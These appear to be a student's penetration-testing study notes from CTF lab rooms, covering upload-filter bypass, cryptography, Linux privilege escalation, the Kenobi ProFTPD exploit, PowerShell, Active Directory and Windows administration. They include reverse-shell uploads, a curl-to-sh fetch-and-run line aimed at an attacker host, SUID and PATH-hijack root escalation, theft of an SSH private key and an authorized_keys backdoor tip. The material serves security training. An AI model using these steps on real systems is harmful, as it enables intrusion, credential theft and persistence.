    - Ex. magic.uploadvulns.thm/graphics/php-reverse-shell.php
    - Interface with netcat listening post
* EXAMPLE METHODOLOGY
  + Take a look at the website as a whole
    - Wappalyzer
      * Indicators of what languages and frameworks the web application might have been built with
    - Make request to website (refresh) and intercept with Burpsuite
      * Headers
        + Server, x-powered-by
      * Look for vectors of attack such as an upload page
  + After finding an upload page, inspect further
    - Look at source code for client-side scripts to determine their presence
    - First stage of bypass
  + Attempt completely innocent file upload
    - Look to see how file is accessed
      * Directly?
      * Embedded in page?
    - Website naming scheme
    - Gobuster enumeration
    - Determine baseline accepted file
      * Gobuster -x switch – look for files with specific extensions
        + Ex. -x php,txt,html
      * Helpful if server is changing names of files being uploaded
  + After determining file upload and storage process, attempt malicious file upload.
    - Bypass client-side filters
    - When stopped by server-side filter, error messages can assist in determining issue
    - If file can be uploaded with nonexistent extension type 🡪 server using blacklist
      * If upload fails, extension filters will be using a whitelist
    - Try re-uploading innocent item with magic numbers changed to reflect an expected filtered upload
      * If rejected 🡪 server using magic number filter
    - Upload innocent file but intercept request with Burpsuite and change MIME type to something likely filtered
      * If rejected 🡪 server filtering based on MIME types
    - Enumerating file length filters
      * Uploading small files versus large files
        + Progressive overload to determine cutoff
        + Small file length limit may prevent upload of common reverse shell using
* SOLUTION
  + ENUMERATION
    - “gobuster dir -u <http://jewel.uploadvulns.thm> -w /usr/share/wordlists/dirbuster/directory-list-txt -x php,txt,html -t 250 | tee gobuster-root-big”
    - ID directories
      * 200 code
        + Navigate to these pages in URL
        + Look for how these pages interact with other pages
    - Re-Run with directories attached with new wordlists
      * “gobuster dir -u [http://jewel.uploadvulns.thm/<directory](http://jewel.uploadvulns.thm/%3cdirectory)> -w <wordlist> -t 250 -x <extension being sought, such as jpg> | tee gobuster-<directory>-default
      * Useful for searching through directories to ensure nothing is missed
  + CHECK SOURCE CODE
    - Ctrl+u
    - Find common or recurring directories that are used to pull from for content
      * “href=<directory>”
      * “src=<directory>”
      * Fixed content is unlikely to be useful
    - Wappalyzer
      * Programming Languages
        + Node.js = PHP reverse will NOT work

PayloadsAllTheThings (GITHUB)

#search for code specific

In this case node.js

Copy and paste code

Edit options in TextEditor as necessary

Will not allow direct traversal to upload PATH as PHP website would

Need another means of activating upload

Above mentioned Admin page

* + - * Web Frameworks
        + X-Powered-By (Burpsuite)

Express

Node.js Express Framework

Confirm Wappalyzer findings and what that means for your hack tactics

* + - CTRL-SHIFT + I
      * Inspector
        + CSS

URLs for Images

Can assist in determining where certain file types go/are stored

* + ATTEMPT UPLOAD OF SHELL
    - Confirm Client-Side Filter
      * Extension requirements
      * Intercept Client Request (Burpsuite)
        + Remove File Extension Filter in Intercept Client Requests (^js$|)
        + CTRL-F5 when refreshing page to clear cache so JS will not be saved and preloaded

Will require Server to re-send Upload Filter Script, which can be intercepted

* + - * + Find upload.js

Do Intercept Server Response

Will Catch JS Script for Client-Side Filter

Yoink out Filters

* + - Re-Attempt Upload
      * Will fail if Server-Side Filter is present
        + Since Client-Side used

File Size

File Extension

Magic Numbers

* + - * + What is left?

MIME type

Change file type to match extension

* + AFTER SUCCESSFUL BYPASS OF FILTERS
    - Re-do gobuster search for jpgs
    - Compare output with first scan
      * New File added will be Shell
    - Setup netcat listening post
    - Go to admin page
      * Input file path
        + ../content/<filename>/.jpg
        + Execute
      * Connection should be made
    - Whoami and id
    - Hostname -I
    - Pwd
    - Navigate and find flag

Rick and Morty CTF

* Curl “http://<ip>/robots.txt
* Inspect Element
* Gobuster for directories
  + Explore
  + Try different extensions of files
* Less, more commands in addition to cat
* Blacklisted command > grep -R “”
  + Inspect source
  + Bypass blacklisted command by using a string in the middle of a command
    - In burpsuite
      * Cat vs c”a”t
* Check sudo privileges
  + Sudo -l
  + Sudo ls ../../../\*
* Repetitious decoding of base64
  + Rabbit hole – no bueno
* Test if python3 can be used by inputting hello world into command line with proper syntax
  + Python3 remote shell into command line from pentestmonkey
    - Cat “<file>”

1. Nmap scan + Source Code Review + gobuster
   1. Ports dictate size of attack surfaces
   2. Source Code Reviews assist in determining directories, developer notes
   3. Gobuster assists with directory enumeration
2. Explore ports and directories
   1. Priority order set by intelligence found during preliminary enumeration
   2. Continue to explore and develop sitemap
   3. Find potential attack vectors such as logins or file uploads
3. Explore potential attack vectors
   1. Determine protective measures
      1. Error messages
      2. Intercepts in Burp
      3. Bruteforce possibility
      4. Determine blacklists
4. Bypass protective measures
   1. Filters
   2. Input workarounds
   3. Blacklist tricks
5. Attempt RCE exploits
   1. Shell uploads
   2. Stabilize shell
   3. Escalate privilege
   4. Navigate and find flags

Cryptography

* Terms
  + Plaintext
  + Encoding – not encryption, form of data representation
  + Hash – output of hash function
  + Brute force – form of attack
  + Cryptanalysis – form of attack by targeting the underlying math
* Hash Function
  + No key and meant to be impossible to reverse output
  + Input data of any size and creates a digest of that data, a summary of fixed size
    - Hard to predict output and visa versa
    - Small changes can lead to huge differences in output
    - Commonly encoded afterward
  + Importance
    - Common in CyberSec
  + Hash Collision
    - Two different inputs give same output
    - Unavoidable but can be minimized
    - MD5 and SHA1 have had engineered collisions separately
      * But not together
* Uses for Hashing
  + Verifying data integrity
  + Verifying passwords
    - Plaintext storage or storage via weak encryption
    - Hashes provides an answer, as no key is required
      * Rainbow tables, hash-to-plaintext lookups, exist.
      * Weak passwords will lead to weak hashes
        + Crackstation
    - Protecting against rainbow tables
      * Add Salt to passwords
        + Randomly generated and stored in a DB, unique to each users hash

Added either at start or end to hash

* + - * + Bcrypt and sha512crypt
* Recognizing Password Hashes
  + Automated tools such as hashID (python)
    - Reliable with hashes that have a prefix
  + Hashcat
  + hashid
  + Unix format $format$rounds$salt$hash
    - $1$ - md5crypt, Cisco, older Linux/Unix
    - $2; 2a; 2b; 2x; 2y$ - Bcrypt – web applications – 3200 in hashcat
    - $6$ - sha512crypt – default for Unix/Linux – 1800 in hashcat, include ending periods
    - Salted hashes must use <salt>:<password> or <password>:<salt> format
  + Windows uses NTLM, variant of md4
    - 32 characters
    - Identical to Md5 so need context
    - Stored in /config/SAM
      * NT hashes and LM hashes
    - Mimikatz can help dump them
  + Linux – stored in /etc/shadow
    - Root readable
* Password Cracking
  + Cant decrypt hashes
    - Have to crack them via hashing a large number of inputs
  + Hashcat John the Ripper
  + GPUs are effective in hashing
  + VM Cracking
    - Hashcat is best run on host, as VM does not have direct access to GPU
      * Can run on CPU as of Kali 2020.2 but not as fast as host GPU
      * Never use - -force for hashcat
    - JohntheRipper uses CPU by default
* Integrity Checking
  + HMACS
    - Using cryptographic hashing function to verify the authenticity and integrity of data
    - HMAC can be used to ensure that the person who created the HMAC is who they say they are without modification
      * Use secret key and hashing algorithm to produce a hash
* ENCRYPTION
  + Critical for CIA
  + Essential for data at rest and in transit
    - PCI-DSS, GDPR
  + Modulo Operator
    - Remainder % of X/Y
    - Not reversible
  + Two Types of Encryption
    - Symmetric
      * DES (Broken) and AES
        + Smaller keys (128/256 for AES, 56 for DES)
    - Asymmetric
      * RSA
      * Elliptic Curve Cryptography
        + Larger keys (2048-4096 for RSA)
  + RSA
    - Based on large number factoring
      * Comes up often in CTFs
      * Rely on the Wiki page for help
      * RsaCtfTool – Github
      * “rsatool” – github
    - Essential variables
      * “p, q, m, n, e, d, c”
      * Primes – p and q
      * Public key – n and d
      * Private key is n and e
      * Plaintext – m
      * Ciphertext – c
    - RSA CTFs are often sets of values and breaking the encryption to decrypt and retrieve a flag
  + Establishing Keys Using Asymmetric Cryptography
    - Exchanging keys
    - Use asymmetry to transport symmetry
    - PK crypto
  + Digital Signatures and Certificates
    - DS proves authenticity
      * Produced via asymmetry with private key
        + Verified with public key
    - Certificates
      * Also use public key, linked to digital signatures
      * HTTPS
      * Chain of trust starting with a Root Certificate Authority
        + Automatically trusted by OS/browser
  + SSH Authentication
    - Encryption and SSH authentication
      * Usernames and passwords
        + RSA by default
        + “ssh-keygen”
    - SSH Private Keys
      * Decrypts the SSH key, does not ID user
      * Passphrase is never transmitted
      * Can use JohntheRipper to attack encrypted SSH key to find passphrase
    - Using Keys
      * ~/.ssh folder – default storage
        + “authorized\_keys” – public keys allowed on server
      * To use a private SSH key, permissions must be set up correctly
        + 600 or stricter
        + “ssh -I keyNameGoesHere user@host”
    - Using SSH Keys to get a better shell
      * Ssh keys are a good way to upgrade a reverse shell
        + Assuming user has login enabled (www-data normally does not)

Leaving an SSH key in authorized\_keys can be a useful backdoor

* + Explaining Diffie Hellman Key Exchange
    - * Allows two parties to establish a set of common cryptographic keys without an observer being able to get said keys
    - How Does DH work
      * Secrets (A and B respectively) combined with common material (C) to create AC and BC
        + These are traded and combined to form ABC, which both have
    - Used in combination with RSA to prove identity and prevent MiTM attacks
  + PGP, GPG, AES
    - Pretty Good Privacy
      * Software that implements encryption for files, digital signing, etc
    - GnuPG
      * Open source implementation of PGP from GNU project
        + Need to use GPG to decrypt files in CTFs
        + PGP/GPG can protect private keys with passphrases

Can attempt crack via John the Ripper and gpg2john

* + - Advanced Encryption Standard
      * Replaced DES
      * Data block operation
  + The Future – Quantum Computers and Encryption
    - Asymmetric and Quantum
      * Wont exist in the coming years but will likely be able to break RSA and Elliptical Curve
    - AES/DES and Quantum
      * 128 bit will be broke
      * 256 bit will be more resistant
      * Triple DES will be vulnerable
    - Current Recommendations
      * RSA-3072 or better for asymmetric
      * AES-256 or better for symmetric
      * Cryptography Apocalypse by Roger A Grimes

GTFOBins + SUID (set owner userId upon execution) – escaping a user shell by breaking the sequence by spawning a new shell that allows root

* Found /bin/systemctl in victim box
* GTFObins: systemctl
  + Returns a shell script that can be used to escalate privilege
  + Change ./systemctl to /bin/systemctl
  + Change /tmp/output 🡪”chmod +s /bin/bash”
    - Spawns bash session
  + Copy paste into terminal
  + Enter
  + Enter
  + Ls -l /bin/bash
    - Confirm -rwsr-sr-x
  + Bash -p
    - Uid = www-data BUT euid (effective uid) = 0 (root)
      * Cd to root
      * Capture flag

LinPEAS

* Attacking machine
  + Python -m SimpleHTTPServer 8080
    - Allows local machine files to be accessed via reverse shell
    - Input in URL of browser too for visual
  + Download raw linpea from github repository and put into .sh file
    - To be accessed from shell
* Victim Shell
  + Go into tmp directory
    - Curl http://<attacker ip:port>/<raw linpea file>.sh | sh
    - Enter to run
  + Results in privilege escalation script to assist in vuln detection

KENOBI – Enumerating Samba for shares

* Standard windows interoperability suite of programs for linux and unix
  + Allows end users to access and use files, printers, and other shared resources
  + Network file system
* Commonly based on common client/server protocol of Server Message Block (SMB)
  + Without Samba, non-Windows machines would be isolated, even if on same network
* Can use nmap for SMB shares
  + Script
    - “nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse <ip>
  + Two ports
    - 139 – originally ran ontop of NetBIOS
    - 445 – later versions, on top of TCP stack, allows internet use
  + Inspect found shares
    - “smbclient //<ip>/anonymous”
  + Recursive downloads of SMB shares
    - “smbget -R smb://<ip>/anonymous
    - Find out information about SSH key generation
    - ProFTPD server info
* “rpcbind” discovered during nmap scan
  + Server converts remote procedure call (RPC) program numbers into universal addresses
    - When started, rpcbind is told what address is listening and the RPC program number it is prepared to serve
  + Port is access to network file system
  + Enumerate
    - “nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount <ip>
* Gain initial access with ProFtpd
  + Get version of ProFtpd running using netcat to connect to the machine on the FTP port
    - Syntax: nc <ip> <port discovered, usually 21>
    - Use searchsploit to find exploits for a particular software version
    - Syntax: searchsploit proftpd <version>
      * “mod\_copy module” exploit
        + Mod\_copy module implements SITE CPFR and SITE CPTO commands

Used to copy files/directories from one place to another on the server

Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination

* + - Prior data pull shows username (/home/Kenobi/) and ssh key generation (/home/Kenobi/.ssh/id\_rsa)
      * Copy Kenobi’s private key using SITE CPFR and SITE CPTO commands
      * In nc connection
        + Ex. SITE CPFR /home/Kenobi/.ssh/id\_rsa
        + Then SITE CPTO /var/tmp/id\_rsa
        + /var/ chosen because it was a mount anonymous can see from previous enumeration above (nfs-showmount)
      * Mount /var/tmp directory to attacker machine
        + “sudo mkdir /mnt/<custom name, such as kenobiNFS>
        + “sudo mount <machine\_ip>:/var /mnt/kenobiNFS
        + “ls -la /mnt/kenobiNFS
      * Network mount is now on deployed machine
        + Can now go to /var/tmp and get the private key then login to user account
        + “cp /mnt/kenobiNFS/tmp/id\_rsa .”
        + Sudo chmod 600 id\_rsa
        + Ssh -I id\_rsa kenobi@<ip>
      * Sign in and find flags
* Privilege Escalation with Path Variable Manipulation
  + SUID Bit – user executes the file with permissions of the *file* owner
  + SGID Bit – user executes the file with the permissions of the *group* owner
    - File created in directory gets the same group owner
  + Sticky Bit
    - Users are prevented from deleting files from other users
  + To search a system for those types of files
    - Run: find / -perm -u=s -type f 2>/dev/null
      * /usr/bin/menu
      * Use “strings” command to check path and determine with or without full path
        + Without a full path, can manipulate path to gain root shell
      * Process
        + “echo /bin/sh > curl”
        + “chmod 777 curl”
        + “export PATH=/tmp:$PATH”
        + “/usr/bin/menu”

Confirm new root access

RustScan

* Fast
  + Low-level kernel networking
  + Written in rust
  + Asynchronous scanning
* RustScan Scripting Engine
  + Python, Shell, Perl
* Adaptive Outbound SYN
* Custom Top Ports
* Operating System Adaption
* Basic format
  + “rustscan -r ports -a <target IP> - - <nmap cmds>
  + “-p” – port scanning, separate by commas
  + - - range

Powershell – Hacking with Powershell

* Windows Scripting Language and shell environment using .NET framework
  + Allows Powershell to execute .NET functions directly from its shell
  + Most Powershell commands, called cmdlets, are written in .NET
    - The output of cmdlets are objects, allowing outputs to be passed from one cmdlet to another – similar to OOP
    - Verb-noun format
    - Ex. Get-Command
      * Common verbs
        + Get
        + Start
        + Stop
        + Read
        + Write
        + New
        + Out
* Basic Powershell Commands
  + Get-Command
    - Gets all cmdlets installed on current computer
    - Allows for pattern matching
      * Ex. Get-Command Verb-\* or Get-Command \*-Noun
      * Ex. Get-Command New-\*
        + View all cmdlets for the verb “New”
  + Get-Help
    - Displays information about a cmdlet
    - Syntax. Get-Help <Command-Name> <-Flag>
      * Ex, Get-Help Get-Command -Examples
  + Object Manipulation
    - * Passing output to other cmdlets
      * Using specific object cmdlets to extract information
    - Pipeline | used to pass output from one cmdlet to another
      * Powershell passes an object to the next cmdlet, as opposed to text or a string
    - Objects will contain methods and properties
      * Methods are functions that can be applied to output from the cmdlets
      * Properties are variables in the output from a cmdlet
    - To view, pass the output of a cmdlet to the Get-member cmdlet
      * Syntax. Verb-Noun | Get-Member
      * Ex. Get-Command | Get-Member -MemberType Method
  + Creating Objects From Previous cmdlets
    - Pulling out the properties from the output of a cmdlet and creating a new object
    - Done with Select-Object cmdlet
      * Ex. Get-ChildItem | Select-Object -Property Mode, Name
    - Additional flags
      * First – gets the first x object
      * Last – gets the last x object
      * Unique – shows the unique objects
      * Skip – skips x objects
  + Filtering Objects
    - To select objects that match a very specific value
      * Where-Object to filter based on value of properties
    - Syntax – Verb-Noun | Where-Object -Property PropertyName -operator Value
    - Syntax – Verb-Noun | Where-Object {$\_.PropertyName – operator Value}
      * This version uses $\_ operator to iterate through every object passed to the Where-Object cmdlet
      * -operator
        + -Contains – any item in property value is exact match for specified value
        + -EQ - property value is same as specified value
        + -GT – property value is greater than the specified value
        + Additional operators available through research
      * Ex. Get-Service | Where-Object -Property Status -eq Stopped
  + Sort Objects
    - Can sort cmdlet output efficiently by pipelining the output of a cmdlet to the Sort-Object cmdlet
    - Syntax – Verb-Noun | Sort-Object
    - Ex. Get-ChildItem | Sort-Object
  + Practical
    - To find a file with a given name
    - Get-ChildItem -Path C:\ -Include \*filename\* -File -Recurse -ErrorAction SilentlyContinue
    - Get-ChildItem -Path C:\ -Include \*filename\* -Recurse | Select-Object -Property FullName
      * To specify contents
      * Get-Content -Path “C:\Program Files\interesting-file.txt.txt”
    - To detect how many cmdlets are installed on the system
      * Get-Command -CommandType Cmdlet | Measure
        + Commandtype specifies cmdlets only, not counting functions and aliases
    - To get hash of a specific file
      * Get-FileHash -Algorithm MD5 -Path “C:\Program Files\interesting-file.txt.txt”
    - To get the current working directory
      * Get-Location
    - To check if a specific PATH exists
      * Get-Location “<PATH>”
      * Ex. Get-Location “C:\Users\Administrators\Documents\Passwords”
        + If error, likely doesn’t exist
    - To make a request to a web server
      * Invoke-WebRequest
    - To decode a file
      * Get-ChildItem -Path C:/ -Include <file> -Recurse -File
      * Certutil -decode “file PATH” file.txt
      * Get-Content file.txt
* Enumeration – Powerview and Powerview Pro Tips on Github
  + To determine how many users are on the machine
    - Get-LocalUser | Measure
  + To determine which user is attached to a given SID
    - Get-LocalUser -SID “SID Number”
  + To get list of all users on local domain
    - Get-NetUser | select cn
  + To determine which users have password required values set to false
    - Get-LocalUser | Select-Object Name, PasswordRequired
  + To determine number of existing local groups
    - Get-LocalGroup | Measure
  + To retrieve IP address info
    - Get-NetIPAddress
  + To determine how many ports are listening
    - Get-NetTCPConnection | Where-Object -Property State -Match Listen | Measure
  + To determine remote address of a specific port
    - Get-NetTCPConnection -State Listen -LocalPort <port #>
  + To determine how many patches have been applied
    - Get-Hotfix | Measure
    - To find info about a specific patch ID
      * Get-Hotfix -ID <ID>
  + To find the contents of a backup file
    - Get-ChildItem -Path C:\ -Include \*bak\* -File -Recurse -ErrorAction SilentlyContinue | Get-Content
  + To search for contents containing API\_KEY
    - Get-ChildItem C:\\* -Recurse | Select-String -Pattern API\_KEY
  + To list all running processes
    - Get-Process
  + To determine the path of a task
    - Get-ScheduledTask -TaskName “Task Name”
  + To determine owner of the C:\
    - Get-ACL C:\
  + To get the name of the operating system
    - Get-NetComputer -fulldata | select operatingsystem
  + To get list of local groups on network
    - Get-NetGroup -GroupName \*
    - net localgroup
  + To check when a password was last set for a service’s user
    - Get-ADUser -identity <service> -properties \*
    - Get-NetUser -SPN | ?{$\_.memberof -match ‘Domain Admins’}
      * Check for PasswordLastSet
* Basic Scripting
  + Powershell ISE
    - Scripts have .ps1 file extension
  + To create variables
    - $variable\_name = value
  + To iterate through all ports
    - Foreach($new\_var in $existing\_var){}
  + To script to search for certain keywords
    - $Path = "C:\Users\Administrator\Desktop\Emails" – the target path
    - $PassFile = Get-ChildItem $Path -Recurse | Select-String "Keyword"
    - Echo $PassFile
      * Passfile is a created variable for the script
* Intermediate Scripting
  + Determine open ports within a given range
* for($i=130; $i -le 140; $i++){  
   Test-NetConnection localhost -Port $i  
  }
  + - * save to .ps1 file and run

Active Directory Basics

* Directory service for Windows Domain Networks
  + Collection of machines and servers connected inside of domains that are a collective part of a bigger forest of domains that make up the Active Directory network
    - Various pieces such as
      * Domain Controllers
      * Forests, Trees, Domains
      * Users + Groups
      * Trusts
      * Policies
      * Domain Services
  + Allows for control and monitoring of user’s computers through a single domain controller
    - Allows a single user to sign in to any computer on the active directory network and have access to stored files and folders, as well as local machine storage
* Physical Active Directory
  + - Servers and machines on-premises
  + Domain Controllers
    - Windows server that has Active Directory Domain Services (AD DS) and has been promoted to domain controller in the forest
    - Center of Active Directory – control rest of domain
      * Holds AD DS data store
      * Handles authentication/authorization services
      * Replicate updates from other domain controllers in the forest
      * Allows admin access to manage domain resources
  + AD DS Data Store
    - Holds the databases and processes needed to store and manage directory information such as users, groups, and services
      * Contains NDS.dit – database that contains all of the information of an Active Directory domain controller as well as password hashes for domain users
      * Stored by default in %SystemRoot%\NTDS
      * Accessible only by the domain controller
* The Forest
  + - Defines all other things – container that holds all other pieces of network together
  + Overview
    - Collection of one or more domain trees inside of an Active Directory network
    - Categorizes the parts of the network as a whole
      * Trees – hierarchy of domains in AD DS
      * Domains – used to group and manage objects
      * Organizational Units – Container for groups, computers, users, printers and other OUs
      * Trusts – Allows users to access resources in other domains
      * Objects – users, groups, printers, computers, shares
      * Domain Services – DNS Server, LLMNR, IPv6
      * Domain Schema – Rules for object creation
* Users and Groups
  + Overview
    - Users are core to Active Directory
    - Four Main Types
      * Domain Admins – control domains and are the only ones with access to the domain controller
      * Service Accounts (Can be Domain Admins) – rarely used except for service maintenance
        + Required by Windows for services such as SQL to pair a service with a service account
      * Local Administrators
        + Make changes to local machines as an admin, but cannot access the domain controller
      * Domain Users – everyday users
  + Groups Overview
    - Groups divided into specified permissions
    - Two Types
      * Security Groups – used to specify permissions for a large number of users
      * Distribution Groups – used to specify email distribution lists. Less beneficial to attackers but assist in enumeration
  + Default Security Groups
    - Domain Controllers – all domain controllers in the domain
    - Domain Guests – all domain guests
    - Domain Users – all domain users
    - Domain Computers – all workstations and servers joined to the domain
    - Domain Admins – designated admins of the domain
    - Enterprise Admins – designated admins of the enterprise
    - Schema Admin – designated admins of the schema
    - DNS Admins – DNS admins group
    - DNS Update Proxy – DNS clients who are permitted to perform dynamic updates on behalf of some other clients
    - Allowed RODC Password Replication Group – passwords can be replicated to all read-only domain controllers in the domain
    - Protected Users – afforded additional protections against authentication security threats
    - Cert Publishers – permitted to publish certificates to directory
    - Read-Only Domain Controllers
    - Enterprise Read-Only Domain Controllers
    - Key Admins – perform admin actions on key objects within domain
    - Enterprise Key Admins – admin actions on key objects within forest
    - Cloneable Domain Controllers
    - RAS and IAS Servers – can access remote access properties of users
* Trusts and Policies
  + - Help domain and trees communicate with each other and maintain security inside of the network
      * Put rules in place of how the domains inside of a forest can interact with each other, how an external forest can interact with the forest, and the overall domain rules or policies that a domain must follow
    - Domain Trusts Overview
      * Mechanism in place for users in the network to gain access to other resources in domain
      * Outline way domains inside forest communicate to each other
      * Two Types
        + Directional – direction of the trust flows from a trusting domain to a trusted domain
        + Transitive – the trust relationship expands beyond just two domains to include other trusted domains
      * Type of trust in place determines how the domains and trees in a forest are able to communicate and send data to and from each other
      * When attacking an AD environment can abuse trusts to move laterally throughout network
    - Domain Policies Overview
      * Dictate how server operates and what rules it will and will not follow
      * Similar to groups except they contain rules instead of permissions and apply to whole domain versus specific group
      * Rule Book for AD
        + Modifiable by domain admins
        + Options for domain policies are almost endless and are a big factor for attackers when enumerating an AD network
* Active Directory Domain Services and Authentication
  + - Core functions of AD network, allow for domain management, security certificates, LDAPs, etc.
      * Domain controller decides what it wants to do and what services it wants to provide for the domain
  + Domain Services Overview
    - Services provided to rest of domain or tree
    - Default domain services
      * LDAP – Lightweight Directory Access Protocol – provides communication between applications and directory services
      * Certificate Services – allows the domain controller to create, validate, and revoke public key certificates
      * DNS,LLMNR, NBT-NS – Domain Name Services for ID-ing IP hostnames
  + Domain Authentication Overview
    - Critical and vulnerable
    - Two Types
      * NTLM
        + Default Windows authentication protocol using an encrypted challenge/response protocol
      * Kerberos
        + Default authentication service for AD using ticket-granting tickets and service tickets to authenticate users and give users access to other resources across domain
    - Main access point for attackers and contain some of the must vulnerable protocols for AD
* Active Directory in the Cloud
  + Azure AD – default settings are more secure than an on-premise physical AD
    - Still has some vulns
  + Azure AD Overview
    - Middleman between AD and users
    - Secure transaction between domains
      * Renders many attacks ineffective
  + Cloud Security Overview
    - Rest APIs
    - OAuth/SAML
    - OpenID
    - Flat Structure
    - Tenants
    - Guests
* Lab Practical

The Hacker Methodology

* Methodology Outline
  + The Process
    - Reconnaissance
    - Enumeration/Scanning
    - Gaining Access
    - Privilege Escalation
    - Covering Tracks
    - Reporting
* Reconnaissance Overview
  + Collecting information about the target
    - Usually requires no interaction
      * Google Dorking Room
      * Wikipedia
      * Peoplefinder.com
      * Who.is
      * Sublist3r
      * Hunter.io
      * Builtwith.com
      * wappalyzer
    - Publicly available tools
* Enumeration and Scanning Overview
  + Second Phase
    - Beginning of interaction
    - More specialized tools
      * Nmap, dirb, Metasploit, exploit-db, burpsuite, etc
    - Determine overall attack surface
      * Determines what the target might be vulnerable to in the exploitation phase
        + Improper lockdown, info leaks, SQL Injections, XSS, etc
    - Determine what ports are open, OS, services and versions
    - Dirb – commonly-named directories
    - Dirbuster – similar to dirb
    - Enum4linux – helps find vulns
    - Metasploit
    - Burp suite
* Exploitation
  + Only as good as recon and enumeration phases before it
    - Must enumerate all vulns
  + Metasploit, burpsuite, SQLMap, msfvenom, BeEF
* Privilege Escalation
  + Higher user account
    - Administrator or system for windows
    - Root for linux
  + Discover OS first to determine privilege escalation methods
    - Password cracking hashes
    - Vuln services or versions through service
    - Default credentials
    - Secret keys or SSH
    - Running scripts or commands to enumerate system settings
      * Ifconfig
      * Find / -perm -4000 -type f 2>/dev/null
* Covering Tracks
  + Assist in cleaning up exploit code and recommend methods to prevent attacks in the future
  + Carefully track and notate all of the tasks performed as part of the penetration test to assist in fixing vulnerabilities and recommending changes to the system owner
* Reporting
  + - Findings and Vulnerabilities
    - Criticality of the findings
    - Description or brief overview of how the finding was discovered
    - Remediation recommendations to resolve finding
  + Three formats
    - Vuln scan results
    - Findings summary list
    - Full formal report

Windows File System and Permissions Explained

* Windows File System Structure
  + Logical Drives (C:)
    - * PerfLogs – stores the system issues and other reports regarding performance
      * Program Files
      * Program Files (x86)
      * Users – stores user generated data
      * Windows – contains OS code to run system and utility tools
    - Folders
      * Files
* File Permissions
  + - Users
    - Groups
  + Permissions
    - Full Control – set ownership of the folder, permissions for others, modify, read, write, execute
    - Modify – modify, read, write, execute
    - Read and Execute – read and execute
    - List Folders Content – list the contents of a folder
    - Read – only read
    - Write – write data to specified folder
    - Special Permissions
  + To set permissions, select properties and go to security tab and edit, apply
    - Avoid full control permissions on folder to prevent users from setting their own permissions and taking ownership of the folder without proper authorization or privilege
    - In Powershell
      * Use “icacls” – check files or folders permissions
        + I – permission inherited from parent container
        + F – full access
        + M – modify rights and access
        + OI – object inherit
        + IO – inherit only
        + CI – container inherit
        + RX – read and execute
        + AD – append data (add subdirectories)
        + WD – write data and add files
      * Can also be used to set ownership, set, remove, or deny permissions
* Understanding the Authentication Process
  + Local Authentication is done using the Local Security Authority (LSA)
    - Protected subsystem that keeps track of the security policies and the accounts that are on a computer system
      * Maintains all information about all aspects of local computer security
  + Types of Active Directory
    - On-Premises AD
    - Azure AD
  + Authentication for On-Premises AD
    - On-Premises has record of all users, PCs, servers and authenticates with network login
      * NTLM
        + Challenge-response
        + No data integrity or confidentiality
      * LDAP/LDAPS
        + User workstation sends credentials via API to DC to validate them
      * KERBEROS
        + Symmetric key cryptography and third party authorization
  + Authentication on ADD
    - Username and password
    - SAML (Security Assertion Markup Language)
      * Single sign on – defines rules/protocols via trust
        + Service providers
        + Identity providers – performs auth
    - OAUTH 2.0
      * Standard that apps se to provide client applications with access
      * Four important roles
        + Authorization server – issues access token
        + Resource owner – end-user, grants permission to access resource server with access token
        + Client – application that requests access token, passed to resource server
        + Resource server – accepts access token and verify validity
    - OpenID Connect
      * Built on top of OAuth 2.0
        + Additional ID token

Using JSON Web Tokens

OIDC is all about user authentication

* Utility Tools
  + - Computer Management
    - Local Security Policy
    - Disk Cleanup
    - Registry Editor
    - Command-line
    - Registry Editor (regedit)
  + Computer Management
    - Task schedule – allows predefined actions to be automatically executed under preset conditions
    - Event viewer – logs events that happen across the device – can be used to forward events to SIEM
    - Shared folders – shared across network
    - Local users and computers – create users, add to built-in groups, given different access levels
    - Performance monitor – monitor different activities across device such as CPU usage, memory usage, etc.
    - Disk management – shrink, expand, create new partitions, format partitions
    - Services and applications – check running services on system and ability to start, stop, restart
  + Local Security Policy
    - Configure to strengthen computer security
    - Minimum password length and complexity
    - Disable guest and local admin accounts
      * Do not disable if AD is not integrated
  + Disk Cleanup
    - Delete useless files, clean system files under admin
  + Registry Editor
    - Stores important OS settings
  + Command-line Tools
    - CMD – command-line interpreter, use to automate various system-related tasks using scripts and batch files – interact with OS directly – limited admin abilities compared to powershell
    - Powershell – used by sysadmins to manage the network and domain they handle – scripting langiage – can interpret batch commands and powershell commands
    - Windows Terminal – can be used instead of powershell and command line
  + Registry Editor
    - Contains low level settings for Microsoft Windows settings and applications
      * HKEY CLASSES ROOT
      * HKEY CURRENT USER
      * HKEY LOCAL MACHINE
      * HKEY USERS
      * HKEY CURRENT CONFIG
    - Can be browsed via powershell
      * Syntax – cd <REG DB>
    - Windows also has builtin tool named “reg” that can be used from command line to add, remove, query, import, export, etc registry keys
    - Regedit for GUI
* Types of Servers
  + Domain Controller – important for AD and AAD infrastructure – control users, groups, restrict actions, improve security, etc
  + File Server – great for file sharing over network
  + Web Server – serves static or dynamic content to a web browser by loading file from a disk and serving it across the network
  + FTP Server – move files securely between computers while providing file security and organization as well as transfer control
  + Mail Server – move and store mail over corporate networks (LANs and WANs) and across internet
  + Database Server – provides other computers with services related to accessing and retrieving data from one or multiple databases
  + Proxy Server – sits between client program and external server to filter requests, improve performance, and share connections
  + Application Server – connected between database servers and users
* Users and Group Management
  + Active Directory user management
    - Tools > Active Directory Users and Computers
      * View > Advanced Features
  + Create an OU to store users
    - Right click domain name
      * New > Organizational Unit
        + Name and OK
  + Create two additional OUs inside newly created OU (nesting)
    - Right click on new OU
      * New > Organizational Unit
        + Name and ok
        + Repeat
  + Create users and groups
    - Right click Users OU
      * New > User
      * Fill in information
        + Login name is User Logon Name
      * Next
      * Create password
        + Select appropriate password options
      * Account disabling is also an option
      * Next
      * Finish
    - Right Click OU > New > Group
      * Name > OK
    - To assign user to a group
      * Right-click user > add to a group

Prompt to search for object in AD

Enter object name to select

Check names

ok

* + - * + Or
      * Double-click group > Members > Add
    - To add group to another group
      * Right click group > add to a group and search > OK
* Creating First GPO
  + - Adds additional controls to user accounts and computers
    - Local settings, site-wide settings, domain-level settings, and setting applied to OUs
  + Creating GPO
    - Tools > Group Policy Management inside Server Manager
      * Right click on Group Policy Object > create new object
        + To edit – right click > Edit
    - Policies > Windows Settings > Security Settings > Local Policies > Users Right Assignment
      * Double click on “Allow log on through Remote Desktop Services”
    - Select Define these policy settings > add user or group > browse
      * Search > OK > OK
    - To block a user or group from using RDP
      * Double click Deny Log on through Remote Desktop Services
        + Add group
